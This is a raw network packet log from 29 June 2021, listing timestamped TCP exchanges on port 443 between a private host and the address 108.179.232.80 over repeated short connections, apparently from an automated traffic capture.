Jun 29, 2021 17:41:52.627943039 CEST	49253	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:52.631318092 CEST	49253	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:52.793135881 CEST	443	49253	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:53.185803890 CEST	443	49253	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:53.185870886 CEST	49253	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:53.185976028 CEST	443	49253	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:53.186028957 CEST	49253	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:53.186495066 CEST	49253	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:53.187776089 CEST	49254	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:53.348607063 CEST	443	49253	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:53.348990917 CEST	443	49254	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:53.349111080 CEST	49254	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:53.349895000 CEST	49254	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:53.511265993 CEST	443	49254	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:53.511735916 CEST	443	49254	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:53.511986971 CEST	49254	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:53.512768984 CEST	49254	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:53.522124052 CEST	49254	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:53.683397055 CEST	443	49254	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:54.111088037 CEST	443	49254	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:54.111185074 CEST	443	49254	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:54.111422062 CEST	49254	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:54.112226009 CEST	49254	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:54.112243891 CEST	49254	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:54.114732027 CEST	49255	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:54.271755934 CEST	443	49255	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:54.272056103 CEST	49255	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:54.272818089 CEST	49255	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:54.274724007 CEST	443	49254	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:54.433042049 CEST	443	49255	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:54.433104992 CEST	443	49255	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:54.436928988 CEST	49255	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:54.437361002 CEST	49255	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:54.446497917 CEST	49255	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:54.604266882 CEST	443	49255	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:54.998961926 CEST	443	49255	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:54.999131918 CEST	49255	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:54.999186993 CEST	443	49255	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:54.999255896 CEST	49255	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:54.999577999 CEST	49255	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:55.000607967 CEST	49256	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:55.156378031 CEST	443	49255	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:55.158379078 CEST	443	49256	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:55.158551931 CEST	49256	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:55.159457922 CEST	49256	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:55.317095995 CEST	443	49256	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:55.317152977 CEST	443	49256	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:55.317415953 CEST	49256	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:55.318075895 CEST	49256	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:55.327617884 CEST	49256	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:55.484699011 CEST	443	49256	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:55.888430119 CEST	443	49256	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:55.888475895 CEST	443	49256	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:55.888731003 CEST	49256	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:55.890486956 CEST	49256	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:55.894138098 CEST	49257	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:56.047374964 CEST	443	49256	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:56.055150032 CEST	443	49257	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:56.055320978 CEST	49257	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:56.056291103 CEST	49257	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:56.216770887 CEST	443	49257	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:56.218153000 CEST	443	49257	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:56.218422890 CEST	49257	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:56.219065905 CEST	49257	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:56.228677988 CEST	49257	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:56.389373064 CEST	443	49257	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:56.789274931 CEST	443	49257	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:56.789350033 CEST	443	49257	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:56.789498091 CEST	49257	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:56.790461063 CEST	49257	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:56.794516087 CEST	49258	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:56.950941086 CEST	443	49257	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:56.956589937 CEST	443	49258	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:56.956872940 CEST	49258	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:56.957874060 CEST	49258	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:57.120213985 CEST	443	49258	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:57.120877981 CEST	443	49258	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:57.121129990 CEST	49258	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:57.121730089 CEST	49258	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:57.129857063 CEST	49258	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:57.293226957 CEST	443	49258	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:57.694557905 CEST	443	49258	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:57.694597960 CEST	443	49258	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:57.694797039 CEST	49258	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:57.695317984 CEST	49258	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:57.696541071 CEST	49259	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:57.857220888 CEST	443	49258	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:57.857680082 CEST	443	49259	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:57.857749939 CEST	49259	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:57.858349085 CEST	49259	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:58.021486998 CEST	443	49259	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:58.021562099 CEST	443	49259	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:58.021724939 CEST	49259	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:58.022258043 CEST	49259	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:58.029544115 CEST	49259	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:58.191391945 CEST	443	49259	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:58.613329887 CEST	443	49259	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:58.613373041 CEST	443	49259	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:58.613600016 CEST	49259	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:58.614291906 CEST	49259	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:58.615813971 CEST	49260	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:58.777293921 CEST	443	49259	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:58.779253006 CEST	443	49260	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:58.779488087 CEST	49260	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:58.780081034 CEST	49260	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:58.941564083 CEST	443	49260	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:58.941864967 CEST	443	49260	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:58.941962957 CEST	49260	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:58.942332029 CEST	49260	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:58.945939064 CEST	49260	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:59.106874943 CEST	443	49260	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:59.519100904 CEST	443	49260	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:59.519177914 CEST	443	49260	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:59.519321918 CEST	49260	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:59.520319939 CEST	49260	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:59.522809029 CEST	49261	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:59.682080030 CEST	443	49260	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:59.683657885 CEST	443	49261	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:59.683794022 CEST	49261	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:59.684890985 CEST	49261	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:59.849153042 CEST	443	49261	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:59.849309921 CEST	443	49261	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:59.849560976 CEST	49261	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:59.850132942 CEST	49261	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:59.858392000 CEST	49261	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:00.019721985 CEST	443	49261	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:00.401433945 CEST	443	49261	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:00.401470900 CEST	443	49261	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:00.401508093 CEST	49261	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:00.401534081 CEST	49261	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:00.402162075 CEST	49261	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:00.403836966 CEST	49262	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:00.560827017 CEST	443	49262	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:00.561036110 CEST	49262	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:00.561707020 CEST	49262	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:00.564358950 CEST	443	49261	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:00.719677925 CEST	443	49262	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:00.720061064 CEST	443	49262	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:00.720175982 CEST	49262	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:00.720626116 CEST	49262	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:00.726773977 CEST	49262	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:00.885512114 CEST	443	49262	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:01.301656008 CEST	443	49262	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:01.301909924 CEST	49262	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:01.303025007 CEST	49262	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:01.305547953 CEST	443	49262	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:01.305876017 CEST	49262	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:01.305975914 CEST	49262	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:01.307512045 CEST	49263	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:01.464647055 CEST	443	49262	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:01.469511986 CEST	443	49263	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:01.469614983 CEST	49263	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:01.470212936 CEST	49263	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:01.632924080 CEST	443	49263	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:01.632997990 CEST	443	49263	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:01.633188963 CEST	49263	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:01.633678913 CEST	49263	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:01.637250900 CEST	49263	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:01.799454927 CEST	443	49263	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:02.208071947 CEST	443	49263	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:02.208180904 CEST	443	49263	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:02.208329916 CEST	49263	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:02.208830118 CEST	49263	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:02.209182978 CEST	49263	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:02.214493990 CEST	49264	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:02.371658087 CEST	443	49263	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:02.371763945 CEST	443	49264	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:02.371980906 CEST	49264	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:02.372492075 CEST	49264	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:02.531327009 CEST	443	49264	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:02.531352997 CEST	443	49264	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:02.531461954 CEST	49264	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:02.531841040 CEST	49264	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:02.536439896 CEST	49264	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:02.697747946 CEST	443	49264	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:03.099675894 CEST	443	49264	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:03.099754095 CEST	49264	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:03.100790977 CEST	49264	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:03.105683088 CEST	443	49264	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:03.105758905 CEST	49264	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:03.105866909 CEST	49264	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:03.107273102 CEST	49265	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:03.263619900 CEST	443	49264	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:03.269186020 CEST	443	49265	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:03.269295931 CEST	49265	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:03.269949913 CEST	49265	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:03.432090044 CEST	443	49265	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:03.432391882 CEST	443	49265	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:03.432612896 CEST	49265	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:03.433324099 CEST	49265	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:03.442271948 CEST	49265	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:03.607686043 CEST	443	49265	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:04.032867908 CEST	443	49265	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:04.033063889 CEST	49265	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.033147097 CEST	443	49265	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:04.033235073 CEST	49265	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.033672094 CEST	49265	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.035078049 CEST	49266	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.192737103 CEST	443	49266	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:04.192842007 CEST	49266	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.193339109 CEST	49266	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.195319891 CEST	443	49265	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:04.350796938 CEST	443	49266	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:04.358114004 CEST	443	49266	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:04.358283997 CEST	49266	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.358989954 CEST	49266	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.368145943 CEST	49266	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.528455973 CEST	443	49266	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:04.923949957 CEST	443	49266	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:04.924135923 CEST	49266	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.924542904 CEST	443	49266	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:04.924633026 CEST	49266	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.926070929 CEST	49266	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:04.928504944 CEST	49267	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:05.082788944 CEST	443	49266	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:05.090183973 CEST	443	49267	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:05.090296984 CEST	49267	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:05.091046095 CEST	49267	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:05.252809048 CEST	443	49267	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:05.253325939 CEST	443	49267	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:05.253410101 CEST	49267	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:05.254045010 CEST	49267	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:05.262280941 CEST	49267	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:05.424788952 CEST	443	49267	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:05.856952906 CEST	443	49267	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:05.857140064 CEST	49267	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:05.857311010 CEST	443	49267	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:05.857356071 CEST	49267	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:05.858187914 CEST	49267	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:05.860382080 CEST	49268	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:06.017369032 CEST	443	49268	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:06.017561913 CEST	49268	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:06.018598080 CEST	49268	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:06.019665003 CEST	443	49267	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:06.175584078 CEST	443	49268	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:06.176184893 CEST	443	49268	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:06.176371098 CEST	49268	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:06.177867889 CEST	49268	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:06.186233044 CEST	49268	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:06.343276024 CEST	443	49268	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:06.736644983 CEST	443	49268	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:06.736821890 CEST	49268	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:06.737159014 CEST	443	49268	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:06.737268925 CEST	49268	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:06.737853050 CEST	49268	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:06.739209890 CEST	49269	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:06.895509958 CEST	443	49268	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:06.896745920 CEST	443	49269	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:06.896814108 CEST	49269	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:06.897341967 CEST	49269	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.053741932 CEST	443	49269	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:07.054549932 CEST	443	49269	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:07.054692030 CEST	49269	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.055366039 CEST	49269	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.064877987 CEST	49269	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.221509933 CEST	443	49269	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:07.651010036 CEST	443	49269	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:07.651192904 CEST	49269	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.651614904 CEST	443	49269	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:07.651705980 CEST	49269	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.654190063 CEST	49269	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.655908108 CEST	49270	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.811727047 CEST	443	49269	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:07.813644886 CEST	443	49270	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:07.813832998 CEST	49270	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.814497948 CEST	49270	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.972461939 CEST	443	49270	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:07.973376036 CEST	443	49270	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:07.973485947 CEST	49270	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.973860025 CEST	49270	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:07.977515936 CEST	49270	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:08.134814978 CEST	443	49270	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:08.534226894 CEST	443	49270	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:08.534439087 CEST	49270	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:08.534621000 CEST	443	49270	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:08.534682035 CEST	49270	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:08.535149097 CEST	49270	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:08.537050009 CEST	49271	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:08.692569017 CEST	443	49270	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:08.697803020 CEST	443	49271	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:08.697926998 CEST	49271	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:08.698734999 CEST	49271	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:08.860121965 CEST	443	49271	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:08.861011982 CEST	443	49271	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:08.861191034 CEST	49271	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:08.861906052 CEST	49271	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:08.870764971 CEST	49271	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:09.031522989 CEST	443	49271	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:09.453599930 CEST	443	49271	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:09.453911066 CEST	49271	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:09.454730034 CEST	49271	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:09.455281019 CEST	443	49271	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:09.455549955 CEST	49271	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:09.455641985 CEST	49271	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:09.457081079 CEST	49272	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:09.614973068 CEST	443	49272	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:09.615165949 CEST	49272	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:09.615875959 CEST	49272	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:09.617090940 CEST	443	49271	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:09.773322105 CEST	443	49272	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:09.773963928 CEST	443	49272	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:09.774136066 CEST	49272	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:09.774708033 CEST	49272	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:09.789684057 CEST	49272	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:09.948066950 CEST	443	49272	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:10.348557949 CEST	443	49272	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:10.348786116 CEST	49272	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:10.348814964 CEST	443	49272	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:10.348898888 CEST	49272	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:10.349708080 CEST	49272	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:10.352921009 CEST	49273	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:10.507144928 CEST	443	49272	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:10.509865999 CEST	443	49273	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:10.509983063 CEST	49273	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:10.510757923 CEST	49273	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:10.667875051 CEST	443	49273	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:10.668548107 CEST	443	49273	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:10.668704033 CEST	49273	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:10.669270992 CEST	49273	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:10.676331043 CEST	49273	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:10.833394051 CEST	443	49273	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:11.266853094 CEST	443	49273	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:11.266930103 CEST	49273	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:11.267142057 CEST	443	49273	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:11.267196894 CEST	49273	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:11.267628908 CEST	49273	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:11.269208908 CEST	49274	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:11.424585104 CEST	443	49273	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:11.425924063 CEST	443	49274	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:11.426085949 CEST	49274	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:11.426605940 CEST	49274	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:42:11.584114075 CEST	443	49274	108.179.232.80	192.168.2.22
Jun 29, 2021 17:42:11.584877968 CEST	443	49274	108.179.232.80	192.168.2.22
